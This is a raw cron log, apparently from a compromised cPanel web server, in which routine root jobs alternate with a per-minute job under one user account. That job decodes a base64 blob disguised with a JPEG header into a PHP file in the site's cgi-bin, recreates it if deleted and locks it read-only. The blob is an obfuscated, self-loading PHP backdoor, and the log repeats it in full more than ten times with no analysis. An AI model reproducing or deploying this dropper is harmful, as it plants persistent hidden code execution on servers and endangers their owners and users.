Aug 31 15:01:01 server run-parts(/etc/cron.hourly)[31266]: starting 0anacron
Aug 31 15:01:01 server run-parts(/etc/cron.hourly)[31287]: finished 0anacron
Aug 31 15:02:01 server CROND[31756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:02:01 server CROND[31757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:02:01 server CROND[31759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:03:01 server CROND[32166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:03:01 server CROND[32167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:03:01 server CROND[32168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:04:01 server CROND[32573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:04:01 server CROND[32572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:04:01 server CROND[32574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:05:01 server CROND[550]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 15:05:01 server CROND[551]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:05:01 server CROND[554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:05:01 server CROND[555]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:05:01 server CROND[558]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 15:05:01 server CROND[559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:05:01 server CROND[556]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 15:05:01 server CROND[557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:06:01 server CROND[1660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:06:01 server CROND[1662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:06:01 server CROND[1663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:07:01 server CROND[2073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:07:01 server CROND[2075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:07:01 server CROND[2076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:08:01 server CROND[2703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:08:01 server CROND[2704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:08:01 server CROND[2705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:09:01 server CROND[3075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:09:01 server CROND[3077]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 15:09:01 server CROND[3080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:09:01 server CROND[3079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:10:01 server CROND[3461]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:10:01 server CROND[3463]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 15:10:01 server CROND[3465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:10:01 server CROND[3464]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 15:10:01 server CROND[3467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:10:01 server CROND[3468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:10:01 server CROND[3469]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 15:10:01 server CROND[3466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:11:01 server CROND[4307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:11:01 server CROND[4309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:11:01 server CROND[4310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:12:01 server CROND[4691]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 15:12:01 server CROND[4692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:12:01 server CROND[4693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:12:01 server CROND[4694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:13:01 server CROND[5162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:13:01 server CROND[5163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:13:01 server CROND[5164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:14:01 server CROND[5560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:14:01 server CROND[5561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
